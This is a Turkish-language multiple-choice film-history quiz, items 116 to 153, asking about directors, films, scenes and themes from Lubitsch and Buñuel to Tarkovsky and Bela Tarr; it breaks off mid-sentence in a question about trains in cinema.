116. Aşağıda, tıpkı Szabo’nun ‘Mephisto‘ (1981) ve Schlöndorff’un ‘Die Blechtrommel‘ (Teneke Trampet – 1979) filmlerindeki gibi, Nazizm’in yükselişi esnasında bireylerin alacalı bulacalı “durumlarını” tahlil eden 4 film yer almaktadır. O halde hangi seçenek devre dışı kalır?

a-) The Ruling Class (1972) / Peter Medak
b-) Despair (1978) / Rainer W. Fassbinder
c-) La caduta degli dei (1969) / Luchino Visconti
d-) The Mortal Storm (1940) / Frank Borzage
e-) Spalovac mrtvol (1969) / Juraj Herz

- – - – 117, 118 ve 119. soruları, alttaki metne göre cevaplayınız. – - – -

İstanbul gezisi yapan bir turist, beraberindeki Türk rehbere “Burayı da ….. filminden hatırlıyorum. Evet, bu camiyi de hatırlıyorum. Şuradaki sarayı ….. filminde görmüştüm. Şu meydan ve ilerideki köprü de yabancı gelmiyor.” gibisinden şeyler söylemektedir. Mesela Eminönü’nü gördüğünde sözü hemen Tony Gatlif’in çingeneler ve yolculuk temalı ‘Latcho Drom’una (1993) getirmiştir.

117. Aşağıdakilerden hangisi, turistin referansta bulunduğu filmlerden olamaz?

a-) L’immortelle {Ölümsüz Kadın – 1963} / Alain Robbe-Grillet
b-) Turks fruit {Türk Lokumu – 1973} / Paul Verhoeven
c-) Zombie ja Kummitusjuna {Zombi ve Hayalet Tren – 1991} / Mika Kaurismäki
d-) Vampyros Lesbos (1971) / Jesus Franco
e-) La fille sur le pont {Köprüdeki Kız – 1999} / Patrice Leconte

118. Turistin verdiği hangi örnek, rehberin “Hayır, orası İstanbul değildi; başka bir yerdi bence. Tabelaların hepsinin yabancı olduğu İstanbul mu olur! Ama film çok keyifliydi başka. Kolun içinde elmas kaçırmak, zekice bir senaryoydu.” itirazıyla karşılaşmıştır?

a-) Brilliantovaya ruka (1968) / Leonid Gaidai
b-) Tema (1980) / Gleb Panfilov
c-) Osenniy marafon (1979) / Georgi Daneliya
d-) La Passion Turca (1994) / Vicente Aranda
e-) Moskva slezam ne verit (Moskova Gözyaşlarına İnanmıyor – 1979) / Vladimir Menshov

119. Turiste İstanbul’un “adalarını” gezdiren rehber, “Sesiniz çıkmadığına göre sanırım bizim …… filmini izlemediniz.” demiştir.

Rehberin bahsettiği film hangisi olabilir?

a-) Av Zamanı (1988 – Erden Kıral)
b-) Mavi Sürgün (1993 – Erden Kıral)
c-) A ay (1988 – Reha Erdem)
d-) Med-Cezir Manzaraları (1989 – Mahinur Ergun)
e-) Hayat Var (2008 – Reha Erdem)

120. İtalya’da doğan ve sonrasında Latin Amerika ülkelerine yayılan “Spagetti Western“, Amerikan westernlerindeki ruhsuz kahraman imajını yıkıyor, bozuma uğratıyordu. Evet, belki şiddetin ve kanın dozajı azalmamıştı (aksine artmıştır) ama buradaki kovboylar, o bildiğimiz klasik kovboylardan değildi. Kovboylar, artık normal bir “insan”dı. Zaaflarıyla, çelişkileriyle, psikolojik ve ahlaki yanlarıyla, birer insan… Toplum ise çürümüşlüğün ve yoksunluğun pençesindeydi. “Ödül avcıları” da belki bu yüzden artmıştı.

Amerikan westernlerinde Nicholas Ray’ın ‘Johnny Guitar’ına dek ikinci planda kalan kadınlar, Sergio Leone’de de geri plandadır. Spagetti Western’in bu en büyük ustası, westernlerinde kadını geri planda tutar. Ancak kariyerindeki bir western hariç… O western, kadını da olayların göbeğine yerleştirmiştir.

Bahsedilen Leone filmi hangisidir?

a-) Unforgiven {Affedilmeyen – 1992}
b-) C’era una volta il West {Batıda Kan Var – 1968}
c-) For a Few Dollars More {Birkaç Dolar İçin – 1965}
d-) Giù la testa {Yabandan Gelen Adam – 1971}
e-) Il buono, il brutto, il cattivo  {İyi, Kötü, Çirkin – 1966}

121. Sevmek, bazen abartmaktır…

To Be or Not to Be‘ (Olmak Ya da Olmamak – 1942), tartışmasız bir başyapıttır. Büyük usta Ernst Lubitsch’in en iyi filmlerinden biridir. Ciddi listelere bakın, ilgili her beş listenin dördünde muhakkak bu filmi görürsünüz.
Yapılmış en hınzır “Nazileri hiciv” filmidir belki de. Sene 1942, iyi cesaret. Filmin akıllardan çıkmayacak bir dolu sahnesi vardır. Önce bir adam karşısında sahte SS albayını oynamak, ardından az önce sahtesini canlandırdığınız gerçek albayın karşısına bu defa o adam rolüyle çıkmak… Bir film bu kadar mı zekice, bu kadar mı keyifli olur.

To Be or Not to Be filmine dair aşağıda verilen bilgilerden hangisi yanlıştır?

a-) Yanıltmacalı bir sahneyle ve sahneyi aydınlatan bir flashback ile başlar.
b-) Hikaye, büyük oranda Nazi çizmeleri altındaki Varşova’da geçer.
c-) Film, Naziler için çalışan hain bir profesör barındırır.
d-) Film, sanatın ve sanatçının zulüm karşısındaki dik duruşuna yönelik nüktedan göndermeler barındırır.
e-) Carole Lombard, ülkesini el altından Nazilere satan evli bir kadını canlandırır.

122. Sinemanın şairi Theo Angelopoulos’un, tıpkı Hal Hartley’in ‘Simple Men’i (1992) gibi, babalarını aramak üzere yola çıkan iki kardeşin yolculuğunu şiirsel tonlar ve akıl almaz planlarla verdiği ‘Puslu Manzaralar’ {Topio stin omichli, 1988} filminin unutulmaz repliği aşağıdakilerden hangisidir?

a-) Üç adım bile gidemez!
b-) Her insan öldürür sevdiğini!
c-) Alexandro, bıçak tutuyorum!
d-) İlk defasında daima böyle olur!
e-) Bazen durmayı bilmek gerekir!

123. Kadınlar…
- …, sıradan bir ev kadınının politik bilinçlenişinin, sinemadaki iyi tezahürlerinden biridir.
- …, kadınların yönetmeninin, bizi babanın taksicilik yaptığı renkli bir aileye götürdüğü filmdir.
- …, Margarette von Trotta’nın, 80′lerde ‘Rosa Luxembug’ ile birlikte imza attığı kadın merkezli iki politik filminden biridir.
- …, Barbara Loden’in hem yönetip hem oynadığı filmdir. Loden, ailevi sorunlar yaşayan işçi sınıfı mensubu kadın rolüyle sinema tarihine çoktan geçmiştir.

Boş bırakılan yerlere aşağıdakilerden hangisi getirilemez?

a-) Salt of the Earth {Toprağın Tuzu – 1954}
b-) Wanda (1970)
c-) Die bleierne zeit {Kurşun Yıllar – 1981}
d-) ¿Qué he hecho yo para merecer esto!! (Bunu Hakedecek Ne Yaptım? – 1984)
e-) Gelegenheitsarbeit einer sklavin {Bir Cariyenin Aylaklığı – 1973}

124. Aşağıdakilerden hangisi, Fransız noirlerinin büyük üstadı, ‘Le samouraï’ gibi bir filmi yönetmiş Jean-Pierre Melville’nin “Direniş” Fransa’sı hassasiyetli çalışmasıdır?

a-) L’armée des ombres (Gölgeler Ordusu – 1969)
b-) Le deuxième souffle (İkinci Nefes – 1966)
c-) Le doulos (1962)
d-) Un flic (1972)
e-) Le cercle rouge (Ateş Çemberi – 1970)

125.

Gerçeküstücülüğün ve anarşist mizahın uslanmaz temsilcisidir Luis Bunuel. Burjuva ahlâkıyla fırsat buldukça alay eder. ‘Le charme discret de la bourgeoisie‘ {Burjuvazinin Gizli Çekiciligi – 1972}, en bilindik işlerindendir bu anlamda.
Üstteki kare, onun bu minvaldeki bir filminden alınmıştır. Bu film, aşağıdakilerden hangisidir?

a-) Tristana (Seni Sevmeyeceğim – 1970)
b-) El (1953)
c-) Belle de jour (Gündüz Güzeli – 1967)
d-) Viridiana (1961)
e-) El ángel exterminador (Mahvedici Melek – 1962)

126. “Olanaklarımı her zaman en tutumlu biçimde kullanmaya çalışırım. Bununla şunu söylemek istiyorum: Bir tek olay iki ayrı kahkahaya yol açabiliyorsa, iki ayrı olayı kullanmaktan daha iyidir.
Örneğin ‘Şarlo Firari’ filminde bir genç kızla dondurma yediğim balkon sahnesinde bu tutumu başarmışımdır. Alt katta cüsseli, saygıdeğer ve iyi giyimli bir hanım oturur yemek masasında. Ben yukarıda dondurma yerken bir kaşık dondurmayı elimden düşürürüm, pantolonumun paçasından kayan dondurma, balkondan aşağıdaki hanımın boynuna düşer.
İlk kahkaha, benim içinde bulunduğum zor durumdan doğar. İkincisi ve daha büyük olanı ise, boynuna dondurma kaçan burjuva hanımın bağırıp çağırması ve zıplamaya başlamasının sonucudur. Halk, zenginleri bu halde görmekten keyif alır.” (Charles Chaplin)

Sessiz dönem komedileri, “yıkıcı” ve acımasızdır gerçekten. Sözlerin yokluğu dolayısıyla abartılı oyunculuklardan/jestlerden beslenen bu sinema, insanların kusurlarıyla alay etmiştir çok kez. Seyirci yaşananlara güler gülmesine ama, perdede görülenlerin pek azı gerçek hayatta istenilecek türden şeylerdir.
Aşağıdakilerden hangisi bir sessiz dönemler komedisidir ve sınıfsal göndermeleriyle de dikkat çekmektedir?

a-) Lonesome {Yalnız – 1928} / Pal Fejös
b-) Wings {Kanatlar – 1927} / William A. Wellman
c-) Un chapeau de paille d’Italie {İtalyan Hasır Şapka – 1928} / Rene Clair
d-) Broken Blossoms {Kırık Tomurcuklar – 1919} / D.W. Griffith
e-) The Big Parade {Büyük Resmigeçit – 1925} / King Vidor

127.
I-) All the President’s Men (1976) / Alan J. Pakula
II-) Wag the Dog (1997) / Barry Levinson
III-) Bob Roberts (1992) / Tim Robbins
IV-) The Manchurian Candidate (1962) / John Frankenheimer
V-) All the King’s Men (1949) / Robert Rossen
VI-) American Madness (1932) / Frank Capra
VII-) Mr. Smith Goes to Washington (1939) / Frank Capra
VIII-) The Sun Shines Bright (1953) / John Ford
IX-) Terra em Transe (Kendinden Geçmiş Ülke – 1967) / Glauber Rocha

Yukarıdaki 9 filmden 8′si “seçim” ya da “politika” eksenlidir. Araya yanlışlıkla karışan film hangisi olmuştur?

a-) VI b-) IX c-) VIII d-) IV  e-) V

128. En çok son filmi ‘Bir Rüzgar Öyküsü’ (1989) ile hatırladığımız Joris Ivens, belgesel sinemanın dev ismidir. Elinde kamerasıyla, dünyanın çeşitli noktalarını arşınlamış ve “belgelemiş” bir 20. yüzyıl Evliya Çelebi’sidir. Tıpkı Chris Marker gibi…

Aşağıdaki Ivens filmlerinden hangisi, başından sonuna dek “ülkesinin” liman kentindeki bir köprüyü kayda alırken; arka planda yoğun sanayileşmeye dikkat çekmektedir?

a-) Misère au Borinage (1933)
b-) De brug (1928)
c-) A Valparaiso (1965)
d-) Regen (1929)
e-) The Spanish Earth (1937)

129. Ersin, 60′lar yapımı ‘Charly’deki kahraman gibi zeka yaşı gelişmemiş bir gençtir. John Schlesinger’in ‘Billy Liar’ındaki Billy gibi kendine ait bir hayal dünyası kurmuştur. Ersin, ayrıca izlediği filmlerin de fazlasıyla etkisinde kalmakta; oradaki kahramanların yaptıklarını yapmaya çabalamaktadır. Alan Parker’in 84 yapımı ‘Birdy‘ini ve Emir Kusturica’nın 90 yapımı ‘Arizona Dream‘ını izledikten sonra uçmayı denemiş; ölümcül bir kazayı şansının yardımıyla hafif atlatmıştır.

Aşağıdakilerden hangisinin, şemsiyeyle uçma gibi bir fantezi uyandırabileceğinden dolayı Ersin’e izletilmemesi gerekir?

a-) Putney Swope (1969) / Robert Downey Sr
b-) The Wizard of Oz (Oz Büyücüsü – 1939) / Victor Fleming
c-) Pandora and the Flying Dutchman (Uçan Hollandalı – 1951) / Albert Lewin
d-) Mary Poppins (1964) / Robert Stevenson
e-) The Red Shoes (1948) / Michael Powell & Emeric Pressburger

130. “Yaşlanan kimi komedi oyuncuları, kendilerini drama verir.
Benim hayatım da bir parça böyle oldu galiba. O eski zamanlardaki neşeli beni çok özlüyorum. Bugün berberde saçımı kestirirken, zihnimde askerlik günlerine dek bir yolculuğa çıktım. İlk günü hatırladım. Berberin toplu halde saçımızı üç numaraya vurduğu günü. O halde dahi gülebiliyor, espri yapabiliyordum. Oysa şu aynadaki adama bir bak. Bezgin, asık suratlı, kır saçlı.
Dünyanın pisliklerini gördükten sonra yitirmez misin masumiyetini ve neşeni. Evlendiğin kadının vakti zamanında -hem de- ailesi tarafından hayat kadınlığına zorlandığını öğrendiğinde. Elbette yitirirsin. Halbuki eşim için, yıllarca beraber yaşadığım annemi ve çevremi bile karşıma almıştım…” (Muhtar Kanadıkırık)

Muhtar Bey’in yazdığı bir otobiyografiden alıntılanmıştır üstteki metin. 3 paragraf var ve her bir paragraf, bir filmle çağrışım uyandırmaya elverişlidir. Son paragraf ise 2 filme birden gönderme yapar.
Aşağıdakilerden hangisi bu filmlerden biri olamaz?

a-) Le crime de Monsieur Lange {Mösyö Lange’nin Suçu – 1936}
b-) Full Metal Jacket (1987)
c-) Limelight {Sahne Işıkları – 1952}
d-) Marty (1955)
e-) Saikaku ichidai onna {Oharu’nun Yaşamı – 1952}

131. Filmlerin içerisinde başka filmlere göndermeler yapılması sık ve olağan bir durumdur. Bertolucci, 68 filmi ‘The Dreamers’de (2003) bunu bolca gerçekleştirmiştir. Fransız Yeni Dalgası da aynı şeyi sıkça yapmıştır: ‘Vivre sa Vie‘de, Dreyer’in ‘Jeanne d’Arc‘ını izleyenler; Godard usülü kara film ‘Bande a part‘da Chaplin yürüyüşü yapanlar vs… Hatta kendi aralarında da sık sık paslaşır Yeni Dalgacılar.
Bazen bu göndermeler, doğrudan ya da dolaylı, bir saygı duruşu halini de alabilir. ‘Sunset Blvd.’ ve ‘Singin’ in the Rain‘in, sessiz sinemaya; Victor Erice’nin 1973 yapımı başyapıtı ‘El espíritu de la colmena‘nın, James Whale’nin ‘Frankenstein’ine; Olivier Assayas’ın ‘Irma Vep‘inin, Louis Feuillade’nin sessiz destanı ‘Les vampires‘e; Mario Bava’nın ‘Çok Şey Bilen Kız‘ının, Hitchcock’un ‘Çok Şey Bilen Adam‘ına; aynalı oda finaliyle hatırlanacak Bruce Leeli ‘Enter the Dragon‘un, Orson Welles’in ‘The Lady From Shanghai’sine bulunduğu saygı duruşları gibi…

Bu meyanda, aşağıdaki örneklerden hangisinde böyle bir ilişki/referans yoktur?

a-) Un dimanche a la campagne (Bertrand Tavernier, 1984) — Partie de campagne (Jean Renoir, 1936)
b-) Cafe Lumiere (Hsiao-hsien Hou, 2003) — Tokyo monogatari (Yasujiro Ozu, 1953)
c-) Ni na bian ji dian (Tsai Ming-liang, 2001) — Les quatre cents coups (François Truffaut, 1959)
d-) Good Morning Babylon (Taviani Kardeşler, 1987) — Intolerance (D.W. Griffith, 1916)
e-) Institute Benjamenta (Quay Kardeşler, 1995) — Images (Robert Altman, 1972)

132. Biraz magazin…

Aşağıda, kimi oyunculara dair verilmiş bilgiler görülmektedir. Yanlış bilgi hangisidir?

a-) Charles Chaplin, ‘The Gold Rush’da (1925) Alaska’daki karla kaplı bir yamacı sahiden de boydan boya aşmıştır.
b-) Mary Pickford, sessiz dönemlerde ekseriyetle masum ve saf kızı oynamıştır.
c-) Katharine Hepburn, sinema dünyasında ‘kadın özgürlüğünün’ sembol isimlerindendir.
d-) Boris Karloff, beyazperdenin en efsane ‘Dr. Frankenstein’ları arasındadır.
e-) Jane Fonda, bir dönemlerin politik aktivisti ve ‘aerobik’ kraliçesidir.

133.
Lumiere-Pathe-Gaumont Karayolu:
———————————
——Peppermint frappe———-Im Juli————-Kikujirô no natsu—-
-Bread and Tulips——–Ta’m e guilass———————-
————————————Vanishing Point—
–WİM WENDERS SAPAĞI:———-Im lauf der zeit——–Paris, Texas——
———–Alice in den Städten———–Bis ans Ende der Welt-
-SAPAKTAN ÇIKIŞ————-Convoy————–
–Easy Rider————————–Les rendez-vous d’Anna—-
—–Stand by Me————Diarios de motocicleta—————-
———-Thelma & Louise——————–Abschied von gestern – (Anita G.)
Les années lumière————–Leningrad Cowboys Go America———–
—-Pierrot le fou—————————————-Sarı Mersedes———-
Two-Lane Blacktop——-Fear and Loathing in Las Vegas————-Central do Brasil-
————————————Mulholland Dr.—————–Wild at Heart——
-ÖLÜM TEHLİKESİ:——The Hitch-Hiker———Spoorloos———Le salaire de la peur
-Week End————–TEHLİKE GEÇTİ——-Paper Moon————-Ten—-
—————–L’atalante——————————–
—La strada——————Twentynine Palms————The Lost Highway—— (…)

Aşağıdakilerden hangisi, bu güzergahta karşımıza çıkabilecek duraklardan biri değildir?

a-) Il Sorpasso (1962) / Dino Risi
b-) Stranger Than Paradise {Cennetten de Garip – 1984} / Jim Jarmusch
c-) La voie lactée {Samanyolu – 1969} / Luis Bunuel
d-) My Dinner with Andre {Andre ile Akşam Yemeğim – 1981} / Louis Malle
e-) Knockin’ on Heaven’s Door (1997) / Thomas Jahn

134. ‘Der brysomme man’ {Sorun Yaratan Adam – 2006}, Kuzey Avrupa’dan gelen etkili bir çalışmaydı. Her şeyin “sıkıcı bir mükemmellikte” işlediği; insanların “seni terk ediyorum”a dahi “bir kahve ister misin” sorusu duymuşcasına tepkiler verdiği; ruhsuz bir dünya tasavvuru sunuluyordu. Delik açıp bu dünyadan kaçmaya çalışanlar ise hoş karşılanmıyor, kınanıyordu.

Filmin yemyeşil doğadaki ilk sahnelerinde kadraja yansıyan tenis “simulasyon”u, hangi Antonioni filmini akıllara getirmiştir?

a-) Red Desert {Kızıl Çöl – 1964}
b-) L’avventura {Macera – 1960}
c-) Il Grido {Çığlık – 1957}
d-) Zabriskie Point {Zabriskie Noktası – 1970}
e-) Blow-up {Cinayeti Gördüm – 1966}

135. “İmparator” Akira Kurosawa hakkında verilen aşağıdaki bilgilerden hangisi yanlıştır?

a-) Amerika dönemlerinde imza attığı ‘Dersu Uzala’, bir doğa ve yolculuk destanıdır.
b-) II. Dünya Savaşı dönemlerinde kimi bağlanmacı filmlere imza atmıştır.
c-) Akira Kurosawa filmografisi, Yeni Gerçekçiliğe bulanmış film-noirler barındırır.
d-) Akira Kurosawa filmografisi, Shakespeare ve Dostoyevski uyarlamaları barındırır.
e-) ‘Yojimbo’ isimli epiği, Leone’nin Bir Avuç Dolar’ına ilham teşkil etmiştir.

136. Arthur Penn, Scorsese, Spielberg, Ford, Hawks, Tarantino, Carpenter… gibi isimleri favori yönetmenleri listesine alan bir sinema severin, aşağıdaki yönetmenlerden hangisini liste dışı bırakma olasılığı “diğerlerine nazaran” biraz daha fazladır?

a-) Budd Bottchecier
b-) Oliver Stone
c-) Ridley Scott
d-) Richard Linklater
e-) Sam Peckinpah

137. Sinema tarihinde pek çok tefrika-film yapılmıştır. Louis Feuillade’nin dedektiflik janrlı ‘Fantoma‘ ve ‘Judex’ serileri herhalde bu tefrika-filmlerin ilk ciddi örnekleridir. Sonrasında Michael Apted, ‘Up‘larında bir büyüme sürecinden -on yıllara dek uzanan- uzun bir sinema serüveni yaratmıştır. Edgar Reitz’in ‘Heimat‘ serisi de önemlidir, yakın dönem Alman tarihine ilgi duyanlar için…
Fassbinder’in 80′lerde çektiği dev ‘Berlin Alexanderplatz‘ı da unutmamak gerek.

Bir de Fransızların ‘Don Camillo‘ serisi vardır. “At suratlı” lakaplı Fernandel oynar. Birbirleriyle ezeli ama centilmen bir rekabete tutuşan iki karakteriyle akıllara kazınmıştır bu filmler. Bu karakterlerin meslekleri aşağıdakilerden hangisidir?

a-) Yargıç – Belediye başkanı
b-) Belediye başkanı – İş adamı
c-) Papaz – Belediye başkanı
d-) Yargıç – İş adamı
e-) Papaz – İş adamı

138. Aşağıda, Fransa’da -geleneksel anlayışa bir tepki olarak- doğan ve birçok ülkede etkileri görülen ‘Nouvelle Vague’ (Yeni Dalga) akımının “ilk zamanlarına” dair kimi açıklamalar görülmektedir. Hangisi kesinlikle doğru değildir?

a-) Sokaklara inilmiş, sıradan insanların yaşamına perspektif tutulmuştur.
b-) Doğaçlamaya öncelik tanınmıştır.
c-) Bir okul değillerdir. En azından öyle bir iddiayla doğmamışlardır.
d-) Yıldız sistemi geçer akçe yapılmıştır.
e-) Çocuksu kadınların ve gençliğin verdiği özgürlük mücadelesi işlenmiştir.

139.
I-) El sur (Güney – 1983) / Victor Erice
II-) I Was Born, But… {Doğdum Ama… – 1932} / Yasujiro Ozu
III-) The Champ {Şampiyon – 1979} / Franco Zeffirelli
IV-) Padre padrone (1977) / Taviani Kardeşler
V-) Constans {Sabit Sayı – 1980} / Krzysztof Zanussi

Yukarıda, anne/baba ve çocukları arasında kurulan ilişkilere vizör tutan 5 film görülmektedir. Filmlerin dördünde babayla münasebet hakim unsurken; sadece birinde “anne-evlat” ilişkisi daha yoğun tutulmuştur. O farklı olan film hangi seçenektedir?

a-) I b-) II c-) III d-) IV e-) V

140. Aşağıdakilerden hangisi, otobiyografik öğeler taşıyan bir film değildir?

a-) Zerkalo {Ayna – 1975} / Andrey Tarkovskiy
b-) Amarcord (1973) / Federico Fellini
c-) Tong nien wang shi {Yaşama Zamanı ve Ölme Zamanı – 1985} / Hsiao-hsien Hou
d-) Den goda viljan {İyi Niyetler – 1992} / Bille August
e-) Rocco e i suoi fratelli {Düşman Kardeşler – 1960} / Luchino Visconti

141. Charles Chaplin’de melon, Max Linder’de silindir, Harold Lloyd’da hasır şeklindeydi. Buster Keaton’u ve Laurel-Hardy çiftini de unutmuyoruz tabii. “Şapka”, sessiz dönemlerin alamet-i farikalarından biriydi. Erkek olmanın, yiğitliğin, centilmenliğin simgesiydi bir yerde. Bazen düşer, ezilirdi ama her halükarda başımızın üstünde yeri vardı.

“Melodramın babası” namlı, Klasik dönemin incelikle işlenmiş dramlarının yönetmeni Douglas Sirk’in sinemasındaki alamet-i farika neydi peki?

a-) Merdiven
b-) Lamba
c-) Kapı
d-) Ayna
e-) Pencere

142. “Ne teolojik, ne de ideolojik bir film yapmak istiyorum. Çünkü ben inanan biri değilim. İsa’nın tanrının oğlu olduğuna inanmıyorum. Ancak İsa’nın ilahi, kusursuz, insani değerleri yüksek olan ideal bir insan olduğunu düşünüyorum.”

… sözleri kime aittir ve akla önce hangi filmini getirir?

a-) Martin Scorsese (1988 – The Last Temptation of Christ)
b-) Pier Paolo Pasolini (1964 – Il vangelo secondo Matteo )
c-) Derek Jarman (1991 – Edward II)
d-) Denys Arcand (1989 – Jésus de Montréal)
e-) Jean-Luc Godard (1985 – ‘Je vous salue, Marie’)

143. ‘Karhozat’ (1988) — ‘Satantango’ (1994) — ‘Werckmeister harmóniák’ (2000)

Macar yönetmen Bela Tarr’ın armağanı üç minimalist. Aşağıda bu üç filmin hatırlattığı kalemler yazılmıştır. Doğru sıralama hangisidir?

a-) Titanik Bar – Balina – İnek
b-) Titanik Bar – İnek – Balina
c-) İnek – Titanik Bar – Balina
d-) İnek – Balina – Titanik Bar
e-) Balina – İnek – Titanik Bar

144.
Breakfast Club: 10
Etat de siege: 6
Quadrophenia: 9
Il conformista: ???
La chinoise: 5
Boyz n the Hood: 9
La classe operaia va in paradiso: 6
Slacker: ???

Yukarıda, bir sinema severin kimi filmlere verdiği puanlar görülmektedir. Sadece bunlara dayanarak, soru işaretli filmlere kaç puan vermiş olması “daha mantıklı” görünmektedir?

a-)
Slacker: 5
Il conformista : 9

b-)
Slacker: 9
Il conformista: 5

c-)
Slacker: 9
Il conformista: 9

d-)
Slacker: 6
Il conformista: 6

e-)
Slacker: 5
Il conformista: 5

145.
“Karnın açsa kuru öğüt çekilmez.
Önce doyur da sonra konuş.
Nedense size hep göbek, bize ahlak,
Unutma, kulak ver de dinle bak.
İster böyle düşün, ister başka türlü,
Önce ekmek gelir, sonra ahlâk!”

dizeleri, hangi filmde söylenmişti?

a-) Sous les toits de Paris {Paris’in Damları Altında – 1930} / Rene Clair
b-) The Cabaret {Kabare – 1972} / Bob Fosse
c-) The Merry Widow {Şen Dul – 1934} / Ernst Lubitsch
d-) Die 3 Groschen-Oper {Üç Kuruşluk Opera – 1931} / Georg Wilhelm Pabst
e-) Yankee Doodle Dandy (1942) / Michael Curtiz

146. Hsiao-hsien Hou; uzun planlarıyla belirgin filmlerinde, ülkesinin yaşadığı dönüşümleri minimal bir dille ve tarihsel kesitler halinde masaya yatırır. Bu dönüşümlerin genç nesil nezdindeki yansımalarını inceler. Zhuangzhuang Tian’ın, ‘The Blue Kite’ {Mavi Uçurtma – 1993} filminde Çin için yaptığını, o Tayvan’a uyarlar. ‘Bei qing cheng shi ‘ (A City of Sadness – 1989), Hou’nun bu anlamda en önemli filmidir.
Edward Yang da aşağı yukarı aynı şeylerden dem vurur. Ancak -Hou’dan farklı olarak- Yang’da taşra değil, “metropol” yaşamı baskındır.
Tsai Ming-liang; işte bu Tayvan Yeni Dalgası’nda, Yang ve Hou ile birlikte altın üçlüyü oluşturur. Onun sinemasının temel izleği ise hemen hemen değişmez: Yalnızlık ve iletişimsizlik…

2003 yapımı ‘Bu san‘ {Goodbye Dragon Inn}, bir sinema salonunda geçen fena halde durağan bir Ming-liang filmiydi. Can çekişen sinemanın hali, salonların hal-i pür melaliyle anlatılmıştı.
Aşağıdaki filmlerden hangisi, sinemaya dönük ağıdını, tıpkı Bu san gibi kahramanını bir sinema “salonu” yaparak yakmış; nerede o eski günler dedirtmiştir?

a-) O thiasos (Kumpanya – 1975) / Theo Angelopoulos
b-) Goodbye, South Goodbye (1996) / Hsiao-hsien Hou
c-) Splendor (1989) / Ettore Scola
d-) Mishima: A Life in Four Chapters (1985) / Paul Schrader
e-) E la nave va (Ve Gemi Gidiyor – 1983) / Federico Fellini

147. Aşağıdakilerden hangisi, ‘Umberto D‘ (1952), ‘Smultronstället‘ (1957), ‘Moartea domnului Lazarescu‘ (2005) ve ‘Ikiru‘nun (1952) başlıca örnekleri arasında yer aldığı “ihtiyarlık” motifli filmlerden biri değildir?

a-) Eggs {Yumurtalar – 1995} / Bent Hamer
b-) Narayama bushikô {Narayama Türküsü – 1983} / Shohei Imamura
c-) O melissokomos {Arıcı – 1987} / Theo Angelopoulos
d-) La voce della luna {Ayın Sesi – 1990} / Federico Fellini
e-) Szerelem {Aşk – 1971} / Karoly Makk

148. Sovyet Devrim Sineması üzerine bir rapor hazırlayan sinema yazarı, raporunda dönemi kapsamlı şekilde masaya yatırmıştır. Filmlerden, yönetmenlerden, kurguya/montaja getirilen açılımlardan, Kinoglaz Manifestosu’ndan, Sine-Göz’den vs. uzun uzun bahsetmiştir.
Yazar, raporunun bir yerinde iki sembol ismi karşı karşıya getirmiş, şöyle bir saptama yapmıştır:
“Gerçekten bu ayrımı fark etmemek mümkün değil. Eisenstein sinemasında ……. ; Pudovkin sinemasında ise ……. kahraman mertebesindedir. ‘Bronenosets Potyomkin‘ (Potemkin Zırhlısı – 1925) ve ‘Potomok Chingis-Khan‘ (Asya Üzerinde Fırtına – 1928) ikilisi için daha uygun bir kıyas bulamıyorum.”

Boş bırakılan yerlere -sırasıyla- aşağıdakilerden hangisi getirilmelidir?

a-) Bolşevikler – Menşevikler
b-) Menşevikler – Bolşevikler
c-) Birey – Kitleler
d-) Kitleler – Birey
e-) Kızıl Ordu – Beyaz Ordu

149. Ademir Kenovic’in ‘Kusursuz Çember’ine {1997 – Savrseni krug} fon oluşturan savaş, aşağıdaki filmlerin hangisinde işlenmiştir? Ya da hangi filmin öyküsü daha “güncel” bir zaman kesitinde geçmektedir?

a-) Tri {Üç} / Aleksandar Petrovic
b-) Bure baruta {Barut Fıçısı} / Goran Paskaljevic
c-) Tito i ja {Tito ve Ben} / Goran Markovic
d-) Underground {Yeraltı} / Emir Kusturica
e-) Train da vie {Hayat Treni} / Radu Mihaileanu

150.

Yukarıdaki sahne hangi Tarkovski filmine aittir?

a-) Zerkalo (Ayna – 1975)
b-) Nostalghia (Nostalji – 1983)
c-) Stalker (İz Sürücü – 1979)
d-) Andrey Rublyov (1966)
e-) Offret (Kurban – 1986)

151.
- Gurme
- Sosyal gözlemci
- Etnograf
- Hakim
- Medya çalışanı

- Babettes gæstebud (1987, Gabriel Axel)
- Meet John Doe (1941, Frank Capra)
- Kitchen Stories (2003, Bent Hamer)
- Nanook of the North (1922, Robert J. Flaherty)
- Tampopo (1985, Juzo Itami)

Filmlerle meslek erbabı eşleştirildiğinde, hangi meslek erbabı dışarıda kalır?

a-) Medya çalışanı b-) Sosyal gözlemci c-) Etnograf d-) Hakim e-) Gurme

152. Payına 2 film düşen meslek erbabı hangisi olmuştur?

a-) Medya çalışanı b-) Sosyal gözlemci c-) Etnograf d-) Hakim e-) Gurme

153. Amerikalı karikatürist Robert Crumb’un sanatını ve ailesiyle/çevresiyle ilişkilerini yansıtan Terry Zwigoff belgeseli ‘Crumb‘ (1994), Amerika’nın doğumunu çizen karikatür gösterisiyle akıllardadır. Filmin son kısımlarında gelen bu gösteri, ‘Amerika’nın Kısa Tarihi’ etiketi taşır. Ve demiryolları bu gösteride hatırı sayılır bir yer parseller.
Abel Gance’nin, Griffith’ten miras hızlandırılmış montaj tekniği ile kotardığı ‘La roue‘ (Tekerlek – 1923), trenlerin ve rayların sinemadaki en baş döndürücü kullanımlarından biridir.
Raylar ve trenler, sinemada medeniyetin de göstergesidir. John Ford’un 20′lere tarihli sessiz çalışması ‘The Iron Horse‘, işte bu medeniyet-tren bağlamında çok önemlidir. Trenler, westernlerde görüleceği üzere, uzak ve bakir batıyı keşfe de yataklık eder. (bkz. ‘Santa Fe Trail‘ – 1940)
Tren, bazen kişisel bir öykünün odağındadır: Patrice Chéreau’nun 98 yapımı ‘Beni Seven Trene Binsin‘i, Ildikó Enyedi’nin 89 yapımı ‘Az én XX. századom‘u (20. Yüzyılım Benim) ya da savaşa alınmayan bir adamın kahramanlığını ispat edeceği ‘The General‘ gibi… Gerilim unsuru olarak da kullanılmıştır: Alfred Hitchcock’un ‘Strangers on a Train‘ ve ‘The Lady Vanishes‘i gibi. Richard Fleischer’in kült kara filmi ‘The Narrow Margin‘ gibi. Lars von Trier’in 1991 yapımı karanlık filmi ‘Europa‘ gibi… Bazense savaşın ve politikanın göbeğindedir tren: Jiri Menzel’den ‘Ostre sledované vlaky‘ (Sıkı Denetlenen Trenler – 1966); Munk’un başyapıtı ‘Czlowiek na torze‘ (Raylardaki Adam – 1957); Jerzy Kawalerowicz’den ‘Pociag‘ (Gece Treni – 1959); Rene Clement’ten ‘La bataille du rail‘ (Demiryolu Savaşı – 1946) vs… Kimi zaman da “sömürge” 